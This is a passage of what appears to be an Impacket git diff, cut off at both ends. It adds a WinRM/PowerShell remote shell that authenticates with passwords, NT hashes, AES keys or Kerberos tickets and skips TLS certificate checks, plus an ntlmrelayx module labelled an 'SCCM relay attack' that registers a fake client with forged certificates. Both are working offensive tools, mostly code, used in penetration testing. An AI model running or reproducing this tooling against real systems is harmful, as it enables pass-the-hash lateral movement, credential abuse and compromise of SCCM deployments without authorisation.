{"MD5": 16, "SHA": 20, "SHA256": 32, "SHA384": 48}.get(hash_algorithm, 0) + pre_pad_length = data_length + hash_length + if "RC4" in cipher_suite: + padding_length = 0 + elif "DES" in cipher_suite or "3DES" in cipher_suite: + padding_length = 8 - (pre_pad_length % 8) + else: + padding_length = 16 - (pre_pad_length % 16) + trailer_length = (pre_pad_length + padding_length) - data_length + return trailer_length + + +# -- missing CredSSP structures: ------------------------------------------------------------------ +class NegoData(univ.Sequence): + componentType = namedtype.NamedTypes( + _sequence_component("negoToken", 0, univ.OctetString()) + ) + +class TSRequest(univ.Sequence): + componentType = namedtype.NamedTypes( + _sequence_component("version", 0, univ.Integer()), + _sequence_optional_component("negoTokens", 1, univ.SequenceOf(componentType=NegoData())), + _sequence_optional_component("authInfo", 2, univ.OctetString()), + _sequence_optional_component("pubKeyAuth", 3, univ.OctetString()), + _sequence_optional_component("errorCode", 4, univ.Integer()), + _sequence_optional_component("clientNonce", 5, univ.OctetString()) + ) + + @staticmethod + def nego_response(token, version=6): + tsreq = TSRequest() + tsreq["version"] = version + if token: + data = NegoData() + data["negoToken"] = token + tsreq["negoTokens"].extend([data]) + return tsreq + +class TSPasswordCreds(univ.Sequence): + componentType = namedtype.NamedTypes( + _sequence_component("domainName", 0, univ.OctetString()), + _sequence_component("userName", 1, univ.OctetString()), + _sequence_component("password", 2, univ.OctetString()) + ) + +class TSCredentials(univ.Sequence): + componentType = namedtype.NamedTypes( + _sequence_component("credType", 0, univ.Integer()), + _sequence_component("credentials", 1, univ.OctetString()) + ) + +# -- wsman soap helpers: -------------------------------------------------------------------------- +soap_actions = { + "create" : "http://schemas.xmlsoap.org/ws/2004/09/transfer/Create", + "delete" : "http://schemas.xmlsoap.org/ws/2004/09/transfer/Delete", + "receive" : "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive", + "command" : "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Command", + "signal" : "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Signal", +} + +#https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wsmv/1c651dae-1f95-40b0-8d8d-ccd2793640e3 +soap_ns = { + "s" : "http://www.w3.org/2003/05/soap-envelope", + "wsa" : "http://schemas.xmlsoap.org/ws/2004/08/addressing", + "rsp" : "http://schemas.microsoft.com/wbem/wsman/1/windows/shell", + "wsman" : "http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd", + "wsmv" : "http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd", +} + +def xml_get_text(root, xpath, default=None): + el = root.find(xpath, soap_ns) + if el is None: + return default + elif el.text is None: + return default + else: + return utfstr(el.text) + +def xml_get_attrib(root, xpath, attrib, default=None): + el = root.find(xpath, soap_ns) + if el is None: + return default + else: + return el.get(attrib) or default + +# fill in common fields for soap request: +def soap_req(action, session_id, shell_id=None, timeout=1, plugin="Microsoft.PowerShell"): + message_id = str(uuid.uuid4()).upper() + must_undestand = lambda v=True: { "s:mustUnderstand" : str(v).lower() } + + envelope = ET.Element("s:Envelope", { f"xmlns:{ns}" : uri for ns, uri in soap_ns.items() }) + header = ET.SubElement(envelope, "s:Header") + body = ET.SubElement(envelope, "s:Body") + + ET.SubElement(header, "wsman:ResourceURI", must_undestand()).text \ + = f"http://schemas.microsoft.com/powershell/{plugin}" + + ET.SubElement(ET.SubElement(header, "wsa:ReplyTo"), "wsa:Address", must_undestand()).text \ + = "http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous" + + ET.SubElement(header, "wsa:To").text = "http://localhost/wsman" + ET.SubElement(header, "wsa:Action", must_undestand()).text = soap_actions[action] + ET.SubElement(header, "wsa:MessageID").text = f"uuid:{message_id}" + ET.SubElement(header, "wsman:MaxEnvelopeSize", must_undestand()).text = "153600" + ET.SubElement(header, "wsman:Locale", must_undestand(False) | { "xml:lang" : "en-US" }) + ET.SubElement(header, "wsman:OperationTimeout").text = f"PT{timeout}S" + ET.SubElement(header, "wsman:OptionSet", must_undestand()) + ET.SubElement(header, "wsmv:DataLocale", must_undestand(False) | { "xml:lang" : "en-US" }) + ET.SubElement(header, "wsmv:SessionId", must_undestand(False)).text = f"uuid:{session_id}" + + selector = ET.SubElement(header, "wsman:SelectorSet") + if shell_id: + ET.SubElement(selector, "wsman:Selector", { "Name": "ShellId" }).text = shell_id + + return envelope + +# -- PSObjects: ----------------------------------------------------------------------------------- +# bare minimum to get a basic shell going: +def ps_simple(name, kind, value): + el = ET.Element(kind, { "N" : name }) + if value is not None: + el.text = str(value) + return el + +def ps_enum(name, value): + obj = ET.Element("Obj", { "N" : name }) + ET.SubElement(obj, "I32").text = str(value) + return obj + +def ps_struct(name, elements): + obj = ET.Element("Obj", ({ "N" : name } if name else {})) + ET.SubElement(obj, "MS").extend(elements) + return obj + +def ps_list(name, elements): + obj = ET.Element("Obj", { "N" : name }) + ET.SubElement(obj, "LST").extend(elements) + return obj + +ps_capability = ps_struct(None, [ + ps_simple("protocolversion", "Version", "2.1"), + ps_simple("PSVersion", "Version", "2.0"), + ps_simple("SerializationVersion", "Version", "1.1.0.10") +]) + +ps_runspace_pool = ps_struct(None, [ + ps_simple("MinRunspaces", "I32", 1), + ps_simple("MaxRunspaces", "I32", 1), + ps_enum("PSThreadOptions", 0), + ps_enum("ApartmentState", 2), + ps_struct("HostInfo", [ + ps_simple("_isHostNull", "B", "true"), + ps_simple("_isHostUINull", "B", "true"), + ps_simple("_isHostRawUINull", "B", "true"), + ps_simple("_useRunspaceHost", "B", "true") + ]), + ps_simple("ApplicationArguments", "Nil", None) +]) + +ps_args = lambda args, raw=False: [ + ps_struct(None, [ + ps_simple("N", "S", k), + ps_simple("V", "S" if v else "Nil", v) if not raw else v + ]) for k, v in args.items() +] + +ps_command = lambda cmd, args : ps_struct(None, [ + ps_simple("Cmd", "S", cmd), + ps_list("Args", ps_args(args)), + ps_simple("IsScript", "B", "false"), + ps_simple("UseLocalScope", "Nil", None), + # these are PipelineResultTypes::None (Default streaming behavior): + ps_enum("MergeMyResult", 0), + ps_enum("MergeToResult", 0), + ps_enum("MergePreviousResults", 0), + ps_enum("MergeError", 0), + ps_enum("MergeWarning", 0), + ps_enum("MergeVerbose", 0), + ps_enum("MergeDebug", 0), + ps_enum("MergeInformation", 0), +]) + +ps_create_pipeline = lambda commands : ps_struct(None, [ + ps_simple("NoInput", "B", "true"), + ps_simple("AddToHistory", "B", "false"), + ps_simple("IsNested", "B", "false"), + ps_enum("ApartmentState", 2), # Unknown + ps_enum("RemoteStreamOptions", 15), # AddInvocationInfo + ps_struct("HostInfo", [ + ps_simple("_isHostNull", "B", "true"), + ps_simple("_isHostUINull", "B", "true"), + ps_simple("_isHostRawUINull", "B", "true"), + ps_simple("_useRunspaceHost", "B", "true") + ]), + ps_struct("PowerShell", [ + ps_simple("IsNested", "B", "false"), + ps_simple("RedirectShellErrorOutputPipe", "B", "false"), + ps_simple("ExtraCmds", "Nil", None), + ps_simple("History", "Nil", None), + ps_list("Cmds", commands) + ]) +]) + + +# -- message framing: ----------------------------------------------------------------------------- +msg_ids = { + 0x00010002 : "SESSION_CAPABILITY", + 0x00010004 : "INIT_RUNSPACEPOOL", + 0x00010005 : "PUBLIC_KEY", + 0x00010006 : "ENCRYPTED_SESSION_KEY", + 0x00010007 : "PUBLIC_KEY_REQUEST", + 0x00010008 : "CONNECT_RUNSPACEPOOL", + 0x0002100B : "RUNSPACEPOOL_INIT_DATA", + 0x0002100C : "RESET_RUNSPACE_STATE", + 0x00021002 : "SET_MAX_RUNSPACES", + 0x00021003 : "SET_MIN_RUNSPACES", + 0x00021004 : "RUNSPACE_AVAILABILITY", + 0x00021005 : "RUNSPACEPOOL_STATE", + 0x00021006 : "CREATE_PIPELINE", + 0x00021007 : "GET_AVAILABLE_RUNSPACES", + 0x00021008 : "USER_EVENT", + 0x00021009 : "APPLICATION_PRIVATE_DATA", + 0x0002100A : "GET_COMMAND_METADATA", + 0x00021100 : "RUNSPACEPOOL_HOST_CALL", + 0x00021101 : "RUNSPACEPOOL_HOST_RESPONSE", + 0x00041002 : "PIPELINE_INPUT", + 0x00041003 : "END_OF_PIPELINE_INPUT", + 0x00041004 : "PIPELINE_OUTPUT", + 0x00041005 : "ERROR_RECORD", + 0x00041006 : "PIPELINE_STATE", + 0x00041007 : "DEBUG_RECORD", + 0x00041008 : "VERBOSE_RECORD", + 0x00041009 : "WARNING_RECORD", + 0x00041010 : "PROGRESS_RECORD", + 0x00041011 : "INFORMATION_RECORD", + 0x00041100 : "PIPELINE_HOST_CALL", + 0x00041101 : "PIPELINE_HOST_RESPONSE" +} + +SESSION_CAPABILITY = 0x00010002 +INIT_RUNSPACEPOOL = 0x00010004 +PUBLIC_KEY = 0x00010005 +ENCRYPTED_SESSION_KEY = 0x00010006 +PUBLIC_KEY_REQUEST = 0x00010007 +CONNECT_RUNSPACEPOOL = 0x00010008 +RUNSPACEPOOL_INIT_DATA = 0x0002100B +RESET_RUNSPACE_STATE = 0x0002100C +SET_MAX_RUNSPACES = 0x00021002 +SET_MIN_RUNSPACES = 0x00021003 +RUNSPACE_AVAILABILITY = 0x00021004 +RUNSPACEPOOL_STATE = 0x00021005 +CREATE_PIPELINE = 0x00021006 +GET_AVAILABLE_RUNSPACES = 0x00021007 +USER_EVENT = 0x00021008 +APPLICATION_PRIVATE_DATA = 0x00021009 +GET_COMMAND_METADATA = 0x0002100A +RUNSPACEPOOL_HOST_CALL = 0x00021100 +RUNSPACEPOOL_HOST_RESPONSE = 0x00021101 +PIPELINE_INPUT = 0x00041002 +END_OF_PIPELINE_INPUT = 0x00041003 +PIPELINE_OUTPUT = 0x00041004 +ERROR_RECORD = 0x00041005 +PIPELINE_STATE = 0x00041006 +DEBUG_RECORD = 0x00041007 +VERBOSE_RECORD = 0x00041008 +WARNING_RECORD = 0x00041009 +PROGRESS_RECORD = 0x00041010 +INFORMATION_RECORD = 0x00041011 +PIPELINE_HOST_CALL = 0x00041100 +PIPELINE_HOST_RESPONSE = 0x00041101 + + +# -- transports: ---------------------------------------------------------------------------------- +class TransportError(Exception): + pass + +class SPNEGOError(Exception): + pass + +class NTCredential: + def __init__(self, domain, username, password="", nt_hash=""): + self.domain = domain + self.username = username + self.password = password + self.nt_hash = nt_hash + +class KrbCredential: + def __init__(self, domain, username, ticket, tgskey, password=""): + self.domain = domain + self.username = username + self.password = password # for CredSSP only + self.ticket = ticket + self.tgskey = tgskey + +class SPNEGOProxyNTLM: + def __init__(self, creds, gss_bindings=None): + self.creds = creds + self.gss_bindings = gss_bindings + self.complete = False + + def step(self, data_in=None): + if data_in is None: + self._type1 = getNTLMSSPType1() + self._type1["flags"] = 0xe0088237 # wiresharked + init = SPNEGO_NegTokenInit() + init["MechTypes"] = [ TypesMech["NTLMSSP - Microsoft NTLM Security Support Provider"] ] + init["MechToken"] = self._type1.getData() + return init.getData() + + try: + targ = SPNEGO_NegTokenResp(data_in) + neg_state = targ["NegState"][0] + except: + raise SPNEGOError("SPNEGO: bad response") + + if neg_state == 0: # accept-completed + self.complete = True + + elif neg_state == 1: # accept-incomplete + type2 = targ["ResponseToken"] # NTLMAuthChallenge + + if self.gss_bindings: + chal = NTLMAuthChallenge(type2) + info = AV_PAIRS(chal['TargetInfoFields']) + info[NTLMSSP_AV_CHANNEL_BINDINGS] = self.gss_bindings + chal["TargetInfoFields"] = info.getData() + chal["TargetInfoFields_len"] = len(info.getData()) + chal["TargetInfoFields_max_len"] = len(info.getData()) + type2 = chal.getData() + + nt_hash = bytes.fromhex(self.creds.nt_hash) if self.creds.nt_hash else "" + type3, key = getNTLMSSPType3(self._type1, type2, self.creds.username, + self.creds.password, "", "", nt_hash) + + resp = SPNEGO_NegTokenResp() + resp["NegState"] = b"\x01" + resp["SupportedMech"] = b"" + resp["ResponseToken"] = type3.getData() + + self.seq_cli = 0 + self.seq_srv = 0 + self.key_cli = SIGNKEY(type3["flags"], key, "Client") + self.key_srv = SIGNKEY(type3["flags"], key, "Server") + self.rc4_cli = ARC4.new(SEALKEY(type3["flags"], key, "Client")) + self.rc4_srv = ARC4.new(SEALKEY(type3["flags"], key, "Server")) + return resp.getData() + + elif neg_state == 2: # reject + raise SPNEGOError("NTLM rejected") + + else: # if neg_state == 3 (request-mic) + raise NotImplementedError("request-mic") + + def wrap(self, req, joined=False): + seq = pack("server message after AP_REP (?) + raise SPNEGOError("Kerberos: unexpected response") + + elif neg_state == 2: # reject + raise SPNEGOError("Kerberos: rejected") + + else: # request-mic + raise NotImplementedError("request-mic") + + def wrap(self, req, joined=False): + sig = pack(">BBBBHHQ", 5, 4, 6, 0xff, 0, 0, self.seq_cli) + enc = self.cipher.encrypt(self.subkey, KG_USAGE_INITIATOR_SEAL, req + sig, None) + rot = len(enc) - (28 % len(enc)) + enc = enc[rot:] + enc[:rot] + sig = pack(">BBBBHHQ", 5, 4, 6, 0xff, 0, 28, self.seq_cli) + self.seq_cli += 1 + return sig + enc if joined else (sig + enc[:44], enc[44:]) + + def unwrap(self, sig, enc): + _, _, _, _, ec, rrc, seq_srv = unpack(">BBBBHHQ", sig[:16]) + if seq_srv != self.seq_srv: + raise SPNEGOError("Kerberos: replay") + + self.seq_srv += 1 + enc = sig[16:] + enc + rot = (rrc + ec) % len(enc) + enc = enc[rot:] + enc[:rot] + plaintext = self.cipher.decrypt(self.subkey, KG_USAGE_ACCEPTOR_SEAL, enc) + return plaintext[:-(ec + 16)] + + +class Transport: + def __init__(self, url): + self.url = url + self.ssl = urlparse(url).scheme == "https" + self.session = Session() + self.session.verify = False + self.session.headers["User-Agent"] = SKIP_HEADER + self.session.headers["Accept-Encoding"] = SKIP_HEADER + + def send(self, req): + rsp = self._send(req) # implement _send() in subclasses + + if rsp.status_code == 401: + self._auth() # implement _auth() in subclasses + rsp = self._send(req) + + if rsp.status_code not in (200, 500): + raise TransportError(f"unexcpected response: {rsp.status_code}") + + return rsp.content + + # -- helper methods common to CredSSP/SPNEGO/Kerberos: ---------------------------------------- + def _send_auth(self, req, proto, phase=""): + rsp = self.session.post(self.url, headers={ "Authorization" : f"{proto} {b64str(req)}" }) + www_auth = rsp.headers.get("WWW-Authenticate", "") + + if rsp.status_code == 200 and not www_auth: + return b"" + elif not www_auth.startswith(f"{proto} "): + raise TransportError(f"{proto}: {phase}") + + return b64decode(www_auth.removeprefix(f"{proto} ")) + + def _encrypted_request(self, req, proto, wrap_fn): + protocol = f"application/HTTP-{proto}-session-encrypted" + + data = b"" + for chunk in chunks(req, 16384): + data += b"--Encrypted Boundary\r\n" + data += f"Content-Type: {protocol}\r\n".encode() + data += f"OriginalContent: type=application/soap+xml;charset=UTF-8;Length={len(chunk)}\r\n".encode() + data += b"--Encrypted Boundary\r\n" + + sig, enc = wrap_fn(chunk) + data += b"Content-Type: application/octet-stream\r\n" + pack("QQBI", self.next_object_id, 0, 3, len(msg_data)) + msg_data + self.next_object_id += 1 + + return fragments + + def _defragment(self, streams): + for buf in streams: + fragments = [] + while buf: + object_id, _, start_end, msg_len = unpack(">QQBI", buf[:21]) + partial = buf[21:21 + msg_len] + buf = buf[21 + msg_len:] + + if start_end == 3: # start and end + fragments.append(partial) + continue + + if object_id not in self.fragment_buffer: + self.fragment_buffer[object_id] = b"" + + if start_end == 2: # end + fragments.append(self.fragment_buffer[object_id] + partial) + del self.fragment_buffer[object_id] + else: # start or middle + self.fragment_buffer[object_id] += partial + + for frag in fragments: + _, msg_type = unpack(">>>>>", msg_ids[msg_type]) + + +# ------------------------------------------------------------------------------------------------- +# so with Runspace class you can execute commands like this: +# >>> creds = NTCredential("domain", "username", "password") +# >>> transport = SPNEGOTransport("http://dc01.test.lab:5985/wsman", creds) +# >>> with Runspace(transport) as runspace: +# >>> for output in runspace.run_command("whoami /all"): +# >>> print(output) + +# the rest of the code here parses impacket-style arguments and implements a +# simple shell that runs a REPL loop: + +from signal import SIGINT, signal, getsignal +from argparse import ArgumentParser +from ipaddress import ip_address + +try: + from prompt_toolkit import prompt, ANSI + from prompt_toolkit.history import FileHistory + prompt_toolkit_available = sys.stdout.isatty() +except ModuleNotFoundError: + print("'prompt_toolkit' not installed, using built-in 'readline'") + import readline + prompt_toolkit_available = False + + +class CtrlCHandler: + def __init__(self, max_interrupts=4, timeout=5): + self.max_interrupts = max_interrupts + self.timeout = timeout + + def __enter__(self): + self.interrupted = 0 + self.released = False + self.original_handler = getsignal(SIGINT) + + def handler(signum, frame): + self.interrupted += 1 + if self.interrupted > 1: + n = self.max_interrupts - self.interrupted + 2 + print() + print(f"Ctrl+C spammed, {n} more will terminate ungracefully.") + print(f"Try waiting ~{self.timeout} more seconds for a client to get a "\ + "chance to send the interrupt") + + if self.interrupted > self.max_interrupts: + self.release() + + signal(SIGINT, handler) + return self + + def __exit__(self, type, value, tb): + self.release() + + def release(self): + if self.released: + return False + + signal(SIGINT, self.original_handler) + self.released = True + return True + + +class Shell: + def __init__(self, runspace): + self.runspace = runspace + self.cwd = "" + self.need_clear = False + + if prompt_toolkit_available: + self.prompt_history = FileHistory(".winrmexec_history") + + def repl(self, inputs=None): + if not inputs: + inputs = self.read_cmd_prompt() + self.update_cwd() + + for cmd in inputs: + if not cmd: + continue + elif cmd in { "exit", "quit" }: + return + else: + self.run_with_interrupt(cmd, self.write_line) + self.update_cwd() + + def read_cmd_prompt(self): + while True: + try: + pre = f"\x1b[1m\x1b[33mPS\x1b[0m {self.cwd}> " + if prompt_toolkit_available: + cmd = prompt(ANSI(pre), history=self.prompt_history, enable_history_search=True) + else: + cmd = input(pre) + except KeyboardInterrupt: + if not prompt_toolkit_available: + print() + continue + except EOFError: + return + else: + yield cmd + + def write_line(self, out): + clear = "\033[2K\r" if self.need_clear else "" + self.need_clear = False + + if "stdout" in out: # from Write-Output + print(clear + out["stdout"], flush=True) + + elif "info" in out: # from Write-Host + print(clear + out["info"], end=out["endl"], flush=True) + + elif "error" in out: # from Write-Error and exceptions + print(clear + "\x1b[31m" + out["error"] + "\x1b[0m", flush=True) + + elif "warn" in out: # from Write-Warning + print(clear + "\x1b[33m" + out["warn"] + "\x1b[0m", flush=True) + + elif "verbose" in out: # from Write-Verbose + print(clear + out["verbose"], flush=True) + + elif "progress" in out: # from Write-Progress + print(clear + "\x1b[34m" + out["progress"] + "\x1b[0m", end="\r", flush=True) + self.need_clear = True + + def update_cwd(self): + self.cwd = self.run_sync("Get-Location | Select -Expand Path").strip() + + def run_sync(self, cmd): + return "\n".join(out.get("stdout") for out in self.runspace.run_command(cmd) if "stdout" in out) + + def run_with_interrupt(self, cmd, output_handler=None, exception_handler=None): + output_stream = self.runspace.run_command(cmd) + while True: + with CtrlCHandler(timeout=self.runspace.timeout) as h: + try: + out = next(output_stream) + except StopIteration: + break + except Exception as e: + if exception_handler and exception_handler(e): + continue + else: + raise e + + if output_handler: + output_handler(out) + + if h.interrupted: + self.runspace.interrupt() + + return h.interrupted > 0 + + +def get_krb_creds(dc_ip, spn, domain, username, password="", nt_hash="", aes_key="", use_ccache=True): + user = Principal(username, type=PrincipalNameType.NT_PRINCIPAL.value) + http = Principal(spn, type=PrincipalNameType.NT_PRINCIPAL.value) + ticket = Ticket() + + if use_ccache and os.getenv("KRB5CCNAME"): + _, _, tgt, tgs = CCache.parseFile(target=spn) + if tgt and not tgs: + cipher = tgt["cipher"] + tgtkey = tgt["sessionKey"] + tgt = tgt["KDC_REP"] + elif tgs: + ticket.from_asn1(decoder.decode(tgs["KDC_REP"], asn1Spec=TGS_REP())[0]["ticket"]) + tgskey = tgs["sessionKey"] + return KrbCredential(domain, username, ticket, tgskey, password) + else: + logging.info(f"requesting TGT for {domain}\\{username}") + tgt, cipher, _, tgtkey = getKerberosTGT(user, password, domain, "", nt_hash, aes_key, dc_ip) + + if not tgt: + raise TransportError("Kerberos: could not get TGT or TGS") + + logging.info(f"requesting TGS for {spn}") + tgs, cipher, _, tgskey = getKerberosTGS(http, domain, dc_ip, tgt, cipher, tgtkey) + ticket.from_asn1(decoder.decode(tgs, asn1Spec=TGS_REP())[0]["ticket"]) + return KrbCredential(domain, username, ticket, tgskey, password) + + +# creates a transport class for winrm from common impacket-style arguments: +def create_transport(args): + domain, username, password, targetName = parse_target(args.target) + + if args.cert_pem or args.cert_key: + logging.info("'-cert-pem' specified, using ssl") + args.ssl = True # client certificate implies ssl + + if args.aesKey and not args.k: + logging.info("'-aesKey' specified, using kerberos") + args.k = True # aesKey imples kerberos + + if sum((args.k, args.basic, bool(args.cert_pem or args.cert_key))) > 1: + logging.fatal("'-k', '-basic', and '-cert-*' are mutually excluseive, pick one or none") + return + + if args.credssp and (args.basic or args.cert_pem or args.cert_key): + logging.fatal("'-credssp' does not work with '-basic' or '-cert-*'") + return + + aes_key = args.aesKey + nt_hash = args.hashes.split(':')[1] if ':' in args.hashes else "" + has_creds = password or nt_hash or aes_key + + if username and not (has_creds or args.no_pass): + from getpass import getpass + password = getpass("Password:") + has_creds = True + + if not args.target_ip and not args.url: + target_ip = targetName + logging.info(f"'-target_ip' not specified, using {targetName}") + else: + target_ip = args.target_ip + + if not args.port and not args.url: + port = 5986 if args.ssl else 5985 + logging.info(f"'-port' not specified, using {port}") + else: + port = args.port + + if not args.url: + if args.ssl: + url = f"https://{target_ip}:{port}/wsman" + else: + url = f"http://{target_ip}:{port}/wsman" + logging.info(f"'-url' not specified, using {url}") + else: + url = args.url + + if args.basic: + if not username or not password: + logging.fatal(f"Need username and password for basic auth") + return + return BasicTransport(url, username, password) + + elif args.cert_pem or args.cert_key: + if not args.cert_pem: + logging.fatal("Missing client certificate (-cert-pem)") + return + if not Path(args.cert_pem).is_file(): + logging.fatal(f"Could not find client certificate file {args.cert_pem}") + return + if not args.cert_key: + logging.fatal("Missing client certificate private key (-cert-key)") + return + if not Path(args.cert_key).is_file(): + logging.fatal(f"Could not find client certificate key file {args.cert_key}") + return + if not urlparse(url).scheme == "https": + logging.fatal("Authentication with client certificate works only over https") + return + + return ClientCertTransport(url, args.cert_pem, args.cert_key) + + nt_creds = None + krb_creds = None + + if not args.k: + nt_creds = NTCredential(domain, username, password, nt_hash) + else: + if os.getenv("KRB5CCNAME"): # use domain/username from ccache + domain, username, _, _ = CCache.parseFile() + logging.info(f"using domain and username from ccache: {domain}\\{username}") + + elif not domain or not username or not has_creds: + logging.fatal("Need domain, username and one of password/nthash/aes for kerberos auth") + return + + if not args.spn: + try: + ip_address(targetName) + logging.error(f"when '-spn' is not specified 'targetName' can not be IP") + return + except ValueError: + spn = f"HTTP/{targetName}@{domain}" + logging.info(f"'-spn' not specified, using {spn}") + else: + spn = args.spn + + if not args.dc_ip: + logging.info(f"'-dc-ip' not specified, using {domain}") + dc_ip = domain + else: + dc_ip = args.dc_ip + + krb_creds = get_krb_creds(dc_ip, spn, domain, username, password, nt_hash, aes_key) + + if args.credssp: + creds = nt_creds or krb_creds + if not creds.username or not creds.password: + logging.error("CredSSP needs username and password, even for kerberos") + return + return CredSSPTransport(url, creds) + + elif args.k: + try: + return KerberosTransport(url, krb_creds) + except TransportError: + logging.info("Kerberos via GSS failed, trying SPNEGO") + return SPNEGOTransport(url, krb_creds) + else: + return SPNEGOTransport(url, nt_creds) + + +def argument_parser(): + parser = ArgumentParser() + + parser.add_argument("target", help="[[domain/]username[:password]@]") + parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + # -- connection params: ----------------------------------------------------------------------- + group = parser.add_argument_group('connection') + group.add_argument("-dc-ip", default="", + help="IP Address of the domain controller. If omitted it will use the "\ + "domain part (FQDN) specified in the target parameter") + + group.add_argument("-target-ip", default="", + help="IP Address of the target machine. If ommited it will use whatever "\ + "was specified as target. This is useful when target is the NetBIOS"\ + "name and you cannot resolve it") + + group.add_argument("-port", default="", + help="Destination port to connect to WinRM http server, default is 5985") + + group.add_argument("-ssl", action="store_true", help="Use HTTPS") + + group.add_argument("-url", default="", + help="Exact WSMan endpoint, eg. http://host:port/custom_wsman. "\ + "Otherwise it will be constructed as http(s)://target_ip:port/wsman") + + # -- authentication params: ------------------------------------------------------------------- + group = parser.add_argument_group('authentication') + group.add_argument("-spn", default="", help="Specify exactly the SPN to request for TGS") + + group.add_argument("-hashes", default="", metavar="LMHASH:NTHASH", + help="NTLM hashes, format is LMHASH:NTHASH") + + group.add_argument("-no-pass", action="store_true", help="don't ask for password (useful for -k)") + + group.add_argument("-k", action="store_true", + help="Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME)"\ + "based on target parameters. If valid credentials cannot be found, it will "\ + "use the ones specified in the command line") + + group.add_argument('-aesKey', metavar = "HEXKEY", default="", + help="AES key to use for Kerberos Authentication") + + group.add_argument("-basic", action="store_true", help="Use Basic auth") + + group.add_argument("-cert-pem", default="", help="Client certificate") + + group.add_argument("-cert-key", default="", help="Client certificate private key") + + group.add_argument("-credssp", action="store_true", + help="Use CredSSP if enabled, works with NTLM and Kerberos but it needs "\ + "plaintext password either way") + + # -- shell params: ---------------------------------------------------------------------------- + parser.add_argument("-X", default="", metavar="COMMAND", + help="Command to execute, if ommited it will spawn a janky interactive shell") + + parser.add_argument("-timeout", default="1", metavar="SECONDS", help="Timeout for requests to /wsman") + + return parser + +def main(): + print(version.BANNER) + args = argument_parser().parse_args() + + logger.init(args.ts) + if args.debug: + logging.getLogger().setLevel(logging.DEBUG) + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + transport = create_transport(args) + if transport is None: + exit() + + with Runspace(transport, int(args.timeout)) as runspace: + shell = Shell(runspace) + try: + if args.X: + shell.repl(iter([args.X])) + else: + shell.repl() + except EOFError: + pass + +if __name__ == "__main__": + main() diff --git a/impacket/examples/ntlmrelayx/attacks/httpattack.py b/impacket/examples/ntlmrelayx/attacks/httpattack.py index 25f21f84dc..8206fd967d 100644 --- a/impacket/examples/ntlmrelayx/attacks/httpattack.py +++ b/impacket/examples/ntlmrelayx/attacks/httpattack.py @@ -22,13 +22,14 @@ from impacket.examples.ntlmrelayx.attacks.httpattacks.adminserviceattack import ADMINSERVICEAttack from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmpoliciesattack import SCCMPoliciesAttack from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmdpattack import SCCMDPAttack +from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmattack import SCCMAttack PROTOCOL_ATTACK_CLASS = "HTTPAttack" -class HTTPAttack(ProtocolAttack, ADCSAttack, SCCMPoliciesAttack, SCCMDPAttack): +class HTTPAttack(ProtocolAttack, ADCSAttack, SCCMPoliciesAttack, SCCMDPAttack, SCCMAttack): """ This is the default HTTP attack. This attack only dumps the root page, though you can add any complex attack below. self.client is an instance of urrlib.session @@ -47,6 +48,8 @@ def run(self): SCCMPoliciesAttack._run(self) elif self.config.isSCCMDPAttack: SCCMDPAttack._run(self) + elif self.config.isSCCMAttack: + SCCMAttack._run(self) else: # Default action: Dump requested page to file, named username-targetname.html # You can also request any page on the server via self.client.session, diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmattack.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmattack.py new file mode 100644 index 0000000000..7aec9bc8c2 --- /dev/null +++ b/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmattack.py @@ -0,0 +1,304 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# SCCM relay attack +# Credits go to @_xpn_, attack code is pulled from his SCCMWTF repository (https://github.com/xpn/sccmwtf) +# +# Authors: +# Tw1sm (@Tw1sm) + + +import datetime +import zlib +import requests +import re +import time +from pyasn1.codec.der.decoder import decode +from pyasn1_modules import rfc5652 +from cryptography.hazmat.primitives import serialization +from cryptography.hazmat.primitives.serialization import PublicFormat +from cryptography.hazmat.primitives.asymmetric import rsa +from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15 +from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes +from cryptography import x509 +from cryptography.x509.oid import NameOID +from cryptography.hazmat.primitives import hashes +from cryptography.x509 import ObjectIdentifier +from requests_toolbelt.multipart import decoder +from impacket import LOG + + +class SCCMAttack: + dateFormat = "%Y-%m-%dT%H:%M:%SZ" + + now = datetime.datetime.utcnow() + + # Huge thanks to @_Mayyhem with SharpSCCM for making requesting these easy! + registrationRequestWrapper = "{data}{signature}\x00" + registrationRequest = """{encryption}{signature}""" + msgHeader = """{{00000000-0000-0000-0000-000000000000}}{{5DD100CD-DF1D-45F5-BA17-A327F43465F8}}0httpSyncdirect:{client}:SccmMessaging{date}{client}mp:MP_ClientRegistrationMP_ClientRegistration{sccmserver}60000""" + msgHeaderPolicy = """{{00000000-0000-0000-0000-000000000000}}{client}{publickey}{clientIDsignature}{payloadsignature}NonSSL1.2.840.113549.1.1.11{{041A35B4-DCEE-4F64-A978-D4D489F47D28}}0httpSyncdirect:{client}:SccmMessaging{date}GUID:{clientid}{client}mp:MP_PolicyManagerMP_PolicyManager{sccmserver}60000""" + policyBody = """GUID:{clientid}{clientfqdn}{client}SMS:PRI""" + # reportBody = """01GUID:{clientid}5.00.8325.0000{client}8502057Inventory DataFull{date}1.01.1{{00000000-0000-0000-0000-000000000003}}Discovery{date}""" + + + def _run(self): + LOG.info("Creating certificate for our fake server...") + self.createCertificate(True) + + LOG.info("Registering our fake server...") + uuid = self.sendRegistration(self.config.sccm_device, self.config.sccm_fqdn) + + LOG.info(f"Done.. our ID is {uuid}") + + # If too quick, SCCM requests fail (DB error, jank!) + LOG.info(f"Sleeping {self.config.sccm_sleep} seconds to allow 